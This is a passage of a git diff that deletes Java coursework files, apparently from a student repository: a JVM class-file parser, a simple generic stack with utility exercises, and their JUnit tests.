-    @Override
-    public String toString() {
-        return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
-    }
-    public String getValue() {
-        return value;
-    }
-    public void setValue(String value) {
-        this.value = value;
-    }
-
-}
diff --git a/group17/785396327/4.5/iterator/ByteCodeIterator.java b/group17/785396327/4.5/iterator/ByteCodeIterator.java
deleted file mode 100644
index adfc288cc2..0000000000
--- a/group17/785396327/4.5/iterator/ByteCodeIterator.java
+++ /dev/null
@@ -1,64 +0,0 @@
-package iterator;
-
-import util.Util;
-
-import java.util.Arrays;
-
-/**
- * Created by IBM on 2017/4/11.
- */
-public class ByteCodeIterator {
-
-    byte[] codes;
-
-    public ByteCodeIterator(byte[] codes) {
-        this.codes = codes;
-    }
-
-    public String nextU4ToHexString() {
-        StringBuilder sb = new StringBuilder();
-        for (int i = 0; i < 4; i++) {
-            byte code = codes[i];
-            int value = code & 0xff;
-            sb.append(Integer.toHexString(value));
-        }
-        codes = Arrays.copyOfRange(codes, 4, codes.length);
-        return sb.toString();
-    }
-
-    public int nextU2ToInt() {
-        byte[] buff = new byte[]{codes[0], codes[1]};
-        codes = Arrays.copyOfRange(codes, 2, codes.length);
-        return Util.byteToInt(buff);
-    }
-
-    public int nextU1ToInt() {
-        byte[] buff = new byte[]{codes[0]};
-        codes = Arrays.copyOfRange(codes, 1, codes.length);
-        return Util.byteToInt(buff);
-    }
-
-    public byte[] nextLengthBytes(int length) {
-        byte[] result = new byte[length];
-        for (int i = 0; i < length; i++) {
-            result[i] = codes[i];
-        }
-        codes = Arrays.copyOfRange(codes, length, codes.length);
-        return result;
-    }
-
-    public String nextLengthString(int length) {
-        byte[] result = new byte[length];
-        for (int i = 0; i < length; i++) {
-            result[i] = codes[i];
-        }
-        codes = Arrays.copyOfRange(codes, length, codes.length);
-        return Util.byteToHexString(result);
-    }
-
-    public int nextU4ToInt() {
-        byte[] buff = new byte[]{codes[0], codes[1], codes[2], codes[3]};
-        codes = Arrays.copyOfRange(codes, 4, codes.length);
-        return Util.byteToInt(buff);
-    }
-}
diff --git a/group17/785396327/4.5/parse/ClassFilePaser.java b/group17/785396327/4.5/parse/ClassFilePaser.java
deleted file mode 100644
index eb6514f449..0000000000
--- a/group17/785396327/4.5/parse/ClassFilePaser.java
+++ /dev/null
@@ -1,121 +0,0 @@
-package parse;
-
-import clz.AccessFlag;
-import clz.ClassFile;
-import clz.ClassIndex;
-import com.sun.corba.se.impl.orbutil.closure.Constant;
-import constant.*;
-import field.Field;
-import iterator.ByteCodeIterator;
-import method.Method;
-import util.Util;
-
-import java.util.List;
-
-/**
- * Created by william on 2017/4/11.
- */
-public class ClassFilePaser {
-    private ClassFile classFile;
-
-    public ClassFile parse(byte[] codes) {
-        classFile = new ClassFile();
-
-        ByteCodeIterator iterator = new ByteCodeIterator(codes);
-        String magic = iterator.nextU4ToHexString();
-        if (!"cafebabe".equals(magic))
-            return null;
-
-        classFile.setMinorVersion(iterator.nextU2ToInt());
-        classFile.setMajorVersion(iterator.nextU2ToInt());
-
-        ConstantPool constantPool = parseConstantPool(iterator);
-        classFile.setConstPool(constantPool);
-
-        AccessFlag accessFlag = parseAccessFlag(iterator);
-        classFile.setAccessFlag(accessFlag);
-
-        ClassIndex classIndex = parseClassIndex(iterator);
-        classFile.setClassIndex(classIndex);
-
-        iterator.nextU2ToInt();//没有接口直接读取两个字节
-
-        int fieldCount = iterator.nextU2ToInt();
-        for (int i = 0; i < fieldCount; i++) {
-            Field field = parseField(iterator, constantPool);
-            classFile.addField(field);
-        }
-
-        int methodCount = iterator.nextU2ToInt();
-        for (int i = 0; i < methodCount; i++) {
-            Method method = parseMethod(iterator, classFile);
-            classFile.addMethod(method);
-        }
-        return classFile;
-    }
-
-    private Method parseMethod(ByteCodeIterator iterator, ClassFile classFile) {
-        return Method.parse(classFile,iterator);
-    }
-
-    private Field parseField(ByteCodeIterator iterator, ConstantPool constantPool) {
-        return Field.parse(constantPool, iterator);
-    }
-
-    private ClassIndex parseClassIndex(ByteCodeIterator iterator) {
-        ClassIndex classIndex = new ClassIndex();
-        classIndex.setThisClassIndex(iterator.nextU2ToInt());
-        classIndex.setSuperClassIndex(iterator.nextU2ToInt());
-        return classIndex;
-    }
-
-    private AccessFlag parseAccessFlag(ByteCodeIterator iterator) {
-        AccessFlag accessFlag = new AccessFlag(iterator.nextU2ToInt());
-        return accessFlag;
-    }
-
-    private ConstantPool parseConstantPool(ByteCodeIterator iterator) {
-        int poolSize = iterator.nextU2ToInt();
-        System.out.println("constant pool size = " + (poolSize - 1));
-
-        ConstantPool constantPool = new ConstantPool();
-
-        constantPool.addConstantInfo(new NullConstantInfo());
-        for (int i = 1; i < poolSize; i++) {
-            int tag = iterator.nextU1ToInt();
-            if (tag == ConstantInfo.CLASS_INFO) {
-                ClassInfo classInfo = new ClassInfo(constantPool);
-                classInfo.setUtf8Index(iterator.nextU2ToInt());
-                constantPool.addConstantInfo(classInfo);
-            } else if (tag == ConstantInfo.METHOD_INFO) {
-                MethodRefInfo methodRefInfo = new MethodRefInfo(constantPool);
-                methodRefInfo.setClassInfoIndex(iterator.nextU2ToInt());
-                methodRefInfo.setNameAndTypeIndex(iterator.nextU2ToInt());
-                constantPool.addConstantInfo(methodRefInfo);
-            } else if (tag == ConstantInfo.FIELD_INFO) {
-                FieldRefInfo fieldRefInfo = new FieldRefInfo(constantPool);
-                fieldRefInfo.setClassInfoIndex(iterator.nextU2ToInt());
-                fieldRefInfo.setNameAndTypeIndex(iterator.nextU2ToInt());
-                constantPool.addConstantInfo(fieldRefInfo);
-            } else if (tag == ConstantInfo.STRING_INFO) {
-                StringInfo stringInfo = new StringInfo(constantPool);
-                stringInfo.setIndex(iterator.nextU2ToInt());
-                constantPool.addConstantInfo(stringInfo);
-            } else if (tag == ConstantInfo.NAME_AND_TYPE_INFO) {
-                NameAndTypeInfo nameAndTypeInfo = new NameAndTypeInfo(constantPool);
-                nameAndTypeInfo.setIndex1(iterator.nextU2ToInt());
-                nameAndTypeInfo.setIndex2(iterator.nextU2ToInt());
-                constantPool.addConstantInfo(nameAndTypeInfo);
-            } else if (tag == ConstantInfo.UTF8_INFO) {
-                UTF8Info utf8Info = new UTF8Info(constantPool);
-                int length = iterator.nextU2ToInt();
-                utf8Info.setLength(length);
-                utf8Info.setValue(new String(iterator.nextLengthBytes(length)));
-                constantPool.addConstantInfo(utf8Info);
-            } else {
-                System.out.println("other class info ");
-            }
-        }
-        return constantPool;
-    }
-}
diff --git a/group17/785396327/4.5/stack/MyStack.java b/group17/785396327/4.5/stack/MyStack.java
deleted file mode 100644
index 80ee0fdd62..0000000000
--- a/group17/785396327/4.5/stack/MyStack.java
+++ /dev/null
@@ -1,35 +0,0 @@
-package stack;
-
-import java.util.ArrayList;
-
-/**
- * Created by gongxun on 2017/4/12.
- */
-public class MyStack<T> {
-    private ArrayList<T> elementData = new ArrayList();
-
-    public void push(T o) {
-        elementData.add(0, o);
-    }
-
-    public T pop() {
-        return elementData.remove(0);
-    }
-
-    public T peek() {
-        return elementData.get(0);
-    }
-
-    public boolean isEmpty() {
-        return elementData.isEmpty();
-    }
-
-    public int size() {
-        return elementData.size();
-    }
-
-    @Override
-    public String toString() {
-        return elementData.toString();
-    }
-}
diff --git a/group17/785396327/4.5/stack/StackUtil.java b/group17/785396327/4.5/stack/StackUtil.java
deleted file mode 100644
index afaa5fce1b..0000000000
--- a/group17/785396327/4.5/stack/StackUtil.java
+++ /dev/null
@@ -1,115 +0,0 @@
-package stack;
-
-/**
- * Created by gongxun on 2017/4/12.
- */
-public class StackUtil {
-    public static void bad_reverse(MyStack<Integer> s) {
-
-    }
-
-
-    public static void reverse_247565311(MyStack<Integer> s) {
-
-    }
-
-
-    /**
-     * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
-     * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-     */
-    public static void reverse(MyStack<Integer> s) {
-        MyStack<Integer> tempStack = new MyStack<Integer>();
-        while (!s.isEmpty())
-            addToBottom(tempStack, s.pop());
-        while (!tempStack.isEmpty())
-            s.push(tempStack.pop());
-    }
-
-    public static void addToBottom(MyStack<Integer> s, Integer value) {
-        MyStack<Integer> reserveStack = new MyStack<Integer>();
-        while (!s.isEmpty())
-            reserveStack.push(s.pop());
-        s.push(value);
-        while (!reserveStack.isEmpty())
-            s.push(reserveStack.pop());
-    }
-
-    /**
-     * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-     *
-     * @param o
-     */
-    public static void remove(MyStack s, Object o) {
-        if (null == o)
-            return;
-        MyStack tempStack = new MyStack();
-        while (!s.isEmpty()) {
-            if (!s.peek().equals(o)) {
-                tempStack.push(s.pop());
-            } else {
-                s.pop();
-                break;
-            }
-        }
-        while (!tempStack.isEmpty())
-            s.push(tempStack.pop());
-    }
-
-
-    /**
-     * 从栈顶取得len个元素, 原来的栈中元素保持不变
-     * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-     *
-     * @param len
-     * @return
-     */
-    public static Object[] getTop(MyStack s, int len) {
-        if (len > s.size())
-            return null;
-        Object[] datas = new Object[len];
-        for (int i = 0; i < len; i++) {
-            datas[i] = s.pop();
-        }
-        return datas;
-    }
-
-    /**
-     * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
-     * 使用堆栈检查字符串s中的括号是不是成对出现的。
-     * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
-     * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
-     *
-     * @param s
-     * @return
-     */
-    public static boolean isValidPairs(String s) {
-        if (s == null || s.trim().isEmpty())
-            return false;
-        String[] arr = s.split("");
-        MyStack<String> stack = new MyStack<String>();
-        for (int i = 0; i < arr.length; i++) {
-            if ("(".equals(arr[i]) || "[".equals(arr[i]) || "{".equals(arr[i]))
-                stack.push(arr[i]);
-            if (")".equals(arr[i])) {
-                if (stack.peek().equals("("))
-                    stack.pop();
-                else
-                    return false;
-            }
-            if ("]".equals(arr[i])) {
-                if (stack.peek().equals("["))
-                    stack.pop();
-                else
-                    return false;
-            }
-            if ("}".equals(arr[i])) {
-                if (stack.peek().equals("{"))
-                    stack.pop();
-                else
-                    return false;
-            }
-        }
-        return stack.size() == 0;//最后判断stack中没有元素了，可能有单个括号
-    }
-}
diff --git a/group17/785396327/4.5/stack/StackUtilTest.java b/group17/785396327/4.5/stack/StackUtilTest.java
deleted file mode 100644
index bf411a953a..0000000000
--- a/group17/785396327/4.5/stack/StackUtilTest.java
+++ /dev/null
@@ -1,101 +0,0 @@
-package stack;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-/**
- * Created by gongxun on 2017/4/12.
- */
-public class StackUtilTest {
-    @Before
-    public void setUp() throws Exception {
-    }
-
-    @After
-    public void tearDown() throws Exception {
-    }
-
-    /**
-     * [头元素,...,尾元素]
-     */
-    @Test
-    public void testStack() {
-        MyStack<Integer> stack = new MyStack<Integer>();
-        stack.push(1);
-        stack.push(2);
-        System.out.println(stack);
-    }
-
-    @Test
-    public void testAddToBottom() {
-        MyStack<Integer> s = new MyStack();
-        s.push(1);
-        s.push(2);
-        s.push(3);
-
-        StackUtil.addToBottom(s, 0);
-
-        Assert.assertEquals("[3, 2, 1, 0]", s.toString());
-
-    }
-
-    @Test
-    public void testReverse() {
-        MyStack<Integer> s = new MyStack();
-        s.push(1);
-        s.push(2);
-        s.push(3);
-        s.push(4);
-        s.push(5);
-        Assert.assertEquals("[5, 4, 3, 2, 1]", s.toString());
-        StackUtil.reverse(s);
-        Assert.assertEquals("[1, 2, 3, 4, 5]", s.toString());
-    }
-
-    @Test
-    public void testReverse_247565311() {
-        MyStack<Integer> s = new MyStack();
-        s.push(1);
-        s.push(2);
-        s.push(3);
-
-        Assert.assertEquals("[1, 2, 3]", s.toString());
-        StackUtil.reverse(s);
-        Assert.assertEquals("[3, 2, 1]", s.toString());
-    }
-
-    @Test
-    public void testRemove() {
-        MyStack<Integer> s = new MyStack();
-        s.push(1);
-        s.push(2);
-        s.push(3);
-        StackUtil.remove(s, 2);
-        Assert.assertEquals("[3, 1]", s.toString());
-    }
-
-    @Test
-    public void testGetTop() {
-        MyStack<Integer> s = new MyStack();
-        s.push(1);
-        s.push(2);
-        s.push(3);
-        s.push(4);
-        s.push(5);
-        {
-            Object[] values = StackUtil.getTop(s, 3);
-            Assert.assertEquals(5, values[0]);
-            Assert.assertEquals(4, values[1]);
-            Assert.assertEquals(3, values[2]);
-        }
-    }
-
-    @Test
-    public void testIsValidPairs() {
-        Assert.assertTrue(StackUtil.isValidPairs("([e{d}f])"));
-        Assert.assertFalse(StackUtil.isValidPairs("([b{x]y})"));
-    }
-
-}
diff --git a/group17/785396327/4.5/test/ClassFileloaderTest.java b/group17/785396327/4.5/test/ClassFileloaderTest.java
deleted file mode 100644
index 2276ee4eaf..0000000000
--- a/group17/785396327/4.5/test/ClassFileloaderTest.java
+++ /dev/null
@@ -1,348 +0,0 @@
-package test;
-
-import clz.ClassFile;
-import clz.ClassIndex;
-import cmd.BiPushCmd;
-import cmd.ByteCodeCommand;
-import cmd.OneOperandCmd;
-import cmd.TwoOperandCmd;
-import constant.*;
-import field.Field;
-import jvm_1.ClassFileLoader;
-import method.Method;
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-import java.util.List;
-
-/**
- * Created by IBM on 2017/4/10.
- */
-public class ClassFileloaderTest {
-    private static final String FULL_QUALIFIED_CLASS_NAME = "jvm_1/EmployeeV1";
-
-    static String path1 = "G:\\Git\\homework\\coding2017\\group17\\785396327\\out\\production\\785396327";
-    static String path2 = "C:\temp";
-
-    static ClassFile clzFile = null;
-    static {
-        ClassFileLoader loader = new ClassFileLoader();
-        loader.addClassPath(path1);
-        String className = "jvm_1.EmployeeV1";
-
-        clzFile = loader.loadClass(className);
-        clzFile.print();
-    }
-
-
-    @Before
-    public void setUp() throws Exception {
-    }
-
-    @After
-    public void tearDown() throws Exception {
-    }
-
-    @Test
-    public void testClassPath(){
-
-        ClassFileLoader loader = new ClassFileLoader();
-        loader.addClassPath(path1);
-        loader.addClassPath(path2);
-
-        String clzPath = loader.getClassPath();
-
-        Assert.assertEquals(path1+";"+path2,clzPath);
-
-    }
-
-    @Test
-    public void testClassFileLength() {
-
-        ClassFileLoader loader = new ClassFileLoader();
-        loader.addClassPath(path1);
-
-        String className = "jvm_1.EmployeeV1";
-
-        byte[] byteCodes = loader.readBinaryCode(className);
-
-        // 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
-        Assert.assertEquals(1020, byteCodes.length);
-
-    }
-
-
-    @Test
-    public void testMagicNumber(){
-        ClassFileLoader loader = new ClassFileLoader();
-        loader.addClassPath(path1);
-        String className = "com.coderising.jvm.test.EmployeeV1";
-        byte[] byteCodes = loader.readBinaryCode(className);
-        byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
-
-
-        String acctualValue = this.byteToHexString(codes);
-
-        Assert.assertEquals("cafebabe", acctualValue);
-    }
-
-
-
-    private String byteToHexString(byte[] codes ){
-        StringBuffer buffer = new StringBuffer();
-        for(int i=0;i<codes.length;i++){
-            byte b = codes[i];
-            int value = b & 0xFF;
-            String strHex = Integer.toHexString(value);
-            if(strHex.length()< 2){
-                strHex = "0" + strHex;
-            }
-            buffer.append(strHex);
-        }
-        return buffer.toString();
-    }
-
-    /**
-     * ----------------------------------------------------------------------
-     */
-
-
-    @Test
-    public void testVersion(){
-
-        Assert.assertEquals(0, clzFile.getMinorVersion());
-        Assert.assertEquals(51, clzFile.getMajorVersion());
-
-    }
-
-    @Test
-    public void testConstantPool(){
-
-
-        ConstantPool pool = clzFile.getConstantPool();
-
-        Assert.assertEquals(53, pool.getSize());
-
-        {
-            ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(7);
-            Assert.assertEquals(44, clzInfo.getUtf8Index());
-
-            UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(44);
-            Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
-        }
-        {
-            ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(11);
-            Assert.assertEquals(48, clzInfo.getUtf8Index());
-
-            UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(48);
-            Assert.assertEquals("java/lang/Object", utf8Info.getValue());
-        }
-        {
-            UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(12);
-            Assert.assertEquals("name", utf8Info.getValue());
-
-            utf8Info = (UTF8Info) pool.getConstantInfo(13);
-            Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
-
-            utf8Info = (UTF8Info) pool.getConstantInfo(14);
-            Assert.assertEquals("age", utf8Info.getValue());
-
-            utf8Info = (UTF8Info) pool.getConstantInfo(15);
-            Assert.assertEquals("I", utf8Info.getValue());
-
-            utf8Info = (UTF8Info) pool.getConstantInfo(16);
-            Assert.assertEquals("<init>", utf8Info.getValue());
-
-            utf8Info = (UTF8Info) pool.getConstantInfo(17);
-            Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
-
-            utf8Info = (UTF8Info) pool.getConstantInfo(18);
-            Assert.assertEquals("Code", utf8Info.getValue());
-        }
-
-        {
-            MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(1);
-            Assert.assertEquals(11, methodRef.getClassInfoIndex());
-            Assert.assertEquals(36, methodRef.getNameAndTypeIndex());
-        }
-
-        {
-            NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
-            Assert.assertEquals(9, nameAndType.getIndex1());
-            Assert.assertEquals(14, nameAndType.getIndex2());
-        }
-        //抽查几个吧
-        {
-            MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
-            Assert.assertEquals(1, methodRef.getClassInfoIndex());
-            Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
-        }
-
-        {
-            UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
-            Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
-        }
-    }
-    @Test
-    public void testClassIndex(){
-
-        ClassIndex clzIndex = clzFile.getClzIndex();
-        ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
-        ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
-
-
-        Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
-        Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
-    }
-
-    /**
-     * 下面是第三次JVM课应实现的测试用例
-     */
-    @Test
-    public void testReadFields(){
-
-        List<Field> fields = clzFile.getFields();
-        Assert.assertEquals(2, fields.size());
-        {
-            Field f = fields.get(0);
-            Assert.assertEquals("name:Ljava/lang/String;", f.toString());
-        }
-        {
-            Field f = fields.get(1);
-            Assert.assertEquals("age:I", f.toString());
-        }
-    }
-    @Test
-    public void testMethods(){
-
-        List<Method> methods = clzFile.getMethods();
-        ConstantPool pool = clzFile.getConstantPool();
-
-        {
-            Method m = methods.get(0);
-            assertMethodEquals(pool,m,
-                    "<init>",
-                    "(Ljava/lang/String;I)V",
-                    "2ab700012a2bb500022a1cb50003b1");
-
-        }
-        {
-            Method m = methods.get(1);
-            assertMethodEquals(pool,m,
-                    "setName",
-                    "(Ljava/lang/String;)V",
-                    "2a2bb50002b1");
-
-        }
-        {
-            Method m = methods.get(2);
-            assertMethodEquals(pool,m,
-                    "setAge",
-                    "(I)V",
-                    "2a1bb50003b1");
-        }
-        {
-            Method m = methods.get(3);
-            assertMethodEquals(pool,m,
-                    "sayHello",
-                    "()V",
-                    "b200041205b60006b1");
-
-        }
-        {
-            Method m = methods.get(4);
-            assertMethodEquals(pool,m,
-                    "main",
-                    "([Ljava/lang/String;)V",
-                    "bb0007591208101db700094c2bb6000ab1");
-        }
-    }
-
-    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
-        String methodName = pool.getUTF8String(m.getNameIndex());
-        String methodDesc = pool.getUTF8String(m.getDescriptorIndex());
-        String code = m.getCodeAttr().getCode();
-        Assert.assertEquals(expectedName, methodName);
-        Assert.assertEquals(expectedDesc, methodDesc);
-        Assert.assertEquals(expectedCode, code);
-    }
-
-
-    @Test
-    public void testByteCodeCommand(){
-        {
-            Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
-            ByteCodeCommand [] cmds = initMethod.getCmds();
-
-            assertOpCodeEquals("0: aload_0", cmds[0]);
-            assertOpCodeEquals("1: invokespecial #1", cmds[1]);
-            assertOpCodeEquals("4: aload_0", cmds[2]);
-            assertOpCodeEquals("5: aload_1", cmds[3]);
-            assertOpCodeEquals("6: putfield #2", cmds[4]);
-            assertOpCodeEquals("9: aload_0", cmds[5]);
-            assertOpCodeEquals("10: iload_2", cmds[6]);
-            assertOpCodeEquals("11: putfield #3", cmds[7]);
-            assertOpCodeEquals("14: return", cmds[8]);
-        }
-
-        {
-            Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
-            ByteCodeCommand [] cmds = setNameMethod.getCmds();
-
-            assertOpCodeEquals("0: aload_0", cmds[0]);
-            assertOpCodeEquals("1: aload_1", cmds[1]);
-            assertOpCodeEquals("2: putfield #2", cmds[2]);
-            assertOpCodeEquals("5: return", cmds[3]);
-
-        }
-
-        {
-            Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
-            ByteCodeCommand [] cmds = sayHelloMethod.getCmds();
-
-            assertOpCodeEquals("0: getstatic #4", cmds[0]);
-            assertOpCodeEquals("3: ldc #5", cmds[1]);
-            assertOpCodeEquals("5: invokevirtual #6", cmds[2]);
-            assertOpCodeEquals("8: return", cmds[3]);
-
-        }
-
-        {
-            Method mainMethod = this.clzFile.getMainMethod();
-
-            ByteCodeCommand [] cmds = mainMethod.getCmds();
-
-            assertOpCodeEquals("0: new #7", cmds[0]);
-            assertOpCodeEquals("3: dup", cmds[1]);
-            assertOpCodeEquals("4: ldc #8", cmds[2]);
-            assertOpCodeEquals("6: bipush 29", cmds[3]);
-            assertOpCodeEquals("8: invokespecial #9", cmds[4]);
-            assertOpCodeEquals("11: astore_1", cmds[5]);
-            assertOpCodeEquals("12: aload_1", cmds[6]);
-            assertOpCodeEquals("13: invokevirtual #10", cmds[7]);
-            assertOpCodeEquals("16: return", cmds[8]);
-        }
-
-    }
-
-    private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
-
-        String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
-
-        if(cmd instanceof OneOperandCmd){
-            if(cmd instanceof BiPushCmd){
-                acctual += " " + ((OneOperandCmd)cmd).getOperand();
-            } else{
-                acctual += " #" + ((OneOperandCmd)cmd).getOperand();
-            }
-        }
-        if(cmd instanceof TwoOperandCmd){
-            acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
-        }
-        Assert.assertEquals(expected, acctual);
-    }
-
-
-}
diff --git a/group17/785396327/4.5/util/Util.java b/group17/785396327/4.5/util/Util.java
deleted file mode 100644
index e35332238c..0000000000
--- a/group17/785396327/4.5/util/Util.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package util;
-
-/**
- * Created by william on 2017/4/10.
- */
-public class Util {
-    public static int byteToInt(byte[] codes){
-        String s1 = byteToHexString(codes);
-        return Integer.valueOf(s1, 16).intValue();
-    }
-
-
-
-    public static String byteToHexString(byte[] codes ){
-        StringBuffer buffer = new StringBuffer();
-        for(int i=0;i<codes.length;i++){
-            byte b = codes[i];
-            int value = b & 0xFF;
-            String strHex = Integer.toHexString(value);
-            if(strHex.length()< 2){
-                strHex = "0" + strHex;
-            }
-            buffer.append(strHex);
-        }
-        return buffer.toString();
-    }
-
-}
diff --git a/group17/785396327/4.9/attr/AttributeInfo.java b/group17/785396327/4.9/attr/AttributeInfo.java
deleted file mode 100644
index 0a8a0c60c9..0000000000
--- a/group17/785396327/4.9/attr/AttributeInfo.java
+++ /dev/null
@@ -1,20 +0,0 @@
-package attr;
-
-/**
- * Created by IBM on 2017/4/12.
- */
-public abstract class AttributeInfo {
-    public static final String CODE = "Code";
-    public static final String CONST_VALUE = "ConstantValue";
-    public static final String EXCEPTIONS = "Exceptions";
-    public static final String LINE_NUM_TABLE = "LineNumberTable";
-    public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
-    public static final String STACK_MAP_TABLE = "StackMapTable";
-    int attrNameIndex;
-    int attrLen ;
-    public AttributeInfo(int attrNameIndex, int attrLen) {
-
-        this.attrNameIndex = attrNameIndex;
-        this.attrLen = attrLen;
-    }
-}
diff --git a/group17/785396327/4.9/attr/CodeAttr.java b/group17/785396327/4.9/attr/CodeAttr.java
deleted file mode 100644
index fb8e530b9b..0000000000
--- a/group17/785396327/4.9/attr/CodeAttr.java
+++ /dev/null
@@ -1,88 +0,0 @@
-package attr;
-
-import clz.ClassFile;
-import cmd.ByteCodeCommand;
-import cmd.CommandParser;
-import constant.ConstantInfo;
-import iterator.ByteCodeIterator;
-
-/**
- * Created by IBM on 2017/4/12.
- */
-public class CodeAttr extends AttributeInfo {
-    private int maxStack;
-    private int maxLocals;
-    private int codeLen;
-    private String code;
-
-    public String getCode() {
-        return code;
-    }
-
-    private ByteCodeCommand[] cmds;
-
-    public ByteCodeCommand[] getCmds() {
-        return cmds;
-    }
-
-    private LineNumberTable lineNumTable;
-    private LocalVariableTable localVarTable;
-    private StackMapTable stackMapTable;
-
-    public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen, String code,
-                    ByteCodeCommand[] cmds) {
-        super(attrNameIndex, attrLen);
-        this.maxStack = maxStack;
-        this.maxLocals = maxLocals;
-        this.codeLen = codeLen;
-        this.code = code;
-        this.cmds = cmds;
-    }
-
-    public void setLineNumberTable(LineNumberTable t) {
-        this.lineNumTable = t;
-    }
-
-    public void setLocalVariableTable(LocalVariableTable t) {
-        this.localVarTable = t;
-    }
-
-    public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter) {
-        //按照属性表格式读取
-        int attributeNameIndex = iter.nextU2ToInt();
-        int attributeLength = iter.nextU4ToInt();
-        int maxStack = iter.nextU2ToInt();
-        int maxLocals = iter.nextU2ToInt();
-        int codeLength = iter.nextU4ToInt();
-        String code = iter.nextLengthString(codeLength);
-
-        ByteCodeCommand[] cmds = CommandParser.parse(clzFile, code);
-
-        int exceptionTableLength = iter.nextU2ToInt();//跳过异常表
-//        System.out.println("Code属性表中的异常表元素大小：" + exceptionTableLength);
-        CodeAttr codeAttr = new CodeAttr(attributeNameIndex, attributeLength, maxStack, maxLocals, codeLength, code, cmds);
-        int attributesCount = iter.nextU2ToInt();
-        //code属性表中又有属性
-        for (int i = 0; i < attributesCount; i++) {
-            int attrIndex = iter.nextU2ToInt();
-            String utf8String = clzFile.getConstantPool().getUTF8String(attrIndex);
-//            clzFile.getConstantPool().getConstantInfo(attrIndex).
-            if ("LineNumberTable".equals(utf8String)) {
-                codeAttr.setLineNumberTable(LineNumberTable.parse(iter, attrIndex));
-            } else if ("LocalVariableTable".equals(utf8String)) {
-                codeAttr.setLocalVariableTable(LocalVariableTable.parse(iter, attrIndex));
-            } else if ("stackMapTable".equals(utf8String)) {
-                codeAttr.setStackMapTable(StackMapTable.parse(iter, attrIndex));
-            } else {
-                throw new RuntimeException("other attribute in code table");
-            }
-        }
-        return codeAttr;
-    }
-
-    private void setStackMapTable(StackMapTable t) {
-        this.stackMapTable = t;
-
-    }
-
-}
diff --git a/group17/785396327/4.9/attr/LineNumberTable.java b/group17/785396327/4.9/attr/LineNumberTable.java
deleted file mode 100644
index acd781fb3e..0000000000
--- a/group17/785396327/4.9/attr/LineNumberTable.java
+++ /dev/null
@@ -1,54 +0,0 @@
-package attr;
-
-import iterator.ByteCodeIterator;
-
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * Created by william on 2017/4/12.
- */
-public class LineNumberTable extends AttributeInfo {
-    List<LineNumberItem> items = new ArrayList<LineNumberItem>();
-
-    private static class LineNumberItem{
-        int startPC;
-        int lineNum;
-        public int getStartPC() {
-            return startPC;
-        }
-        public void setStartPC(int startPC) {
-            this.startPC = startPC;
-        }
-        public int getLineNum() {
-            return lineNum;
-        }
-        public void setLineNum(int lineNum) {
-            this.lineNum = lineNum;
-        }
-    }
-    public void addLineNumberItem(LineNumberItem item){
-        this.items.add(item);
-    }
-    public LineNumberTable(int attrNameIndex, int attrLen) {
-        super(attrNameIndex, attrLen);
-
-    }
-
-    public static LineNumberTable parse(ByteCodeIterator iter,int attributeNameIndex) {
-        int attributeLength = iter.nextU4ToInt();
-        int lineNumberTableLength = iter.nextU2ToInt();
-        LineNumberTable lineNumberTable = new LineNumberTable(attributeNameIndex,attributeLength);
-        for (int i = 0; i < lineNumberTableLength; i++) {
-            int start_pc = iter.nextU2ToInt();
-            int lineNumber = iter.nextU2ToInt();
-            LineNumberItem lineNumberItem = new LineNumberItem();
-            lineNumberItem.setLineNum(lineNumber);
-            lineNumberItem.setStartPC(start_pc);
-            lineNumberTable.addLineNumberItem(lineNumberItem);
-        }
-        return lineNumberTable;
-    }
-
-
-}
diff --git a/group17/785396327/4.9/attr/LocalVariableItem.java b/group17/785396327/4.9/attr/LocalVariableItem.java
deleted file mode 100644
index d0213e92f5..0000000000
--- a/group17/785396327/4.9/attr/LocalVariableItem.java
+++ /dev/null
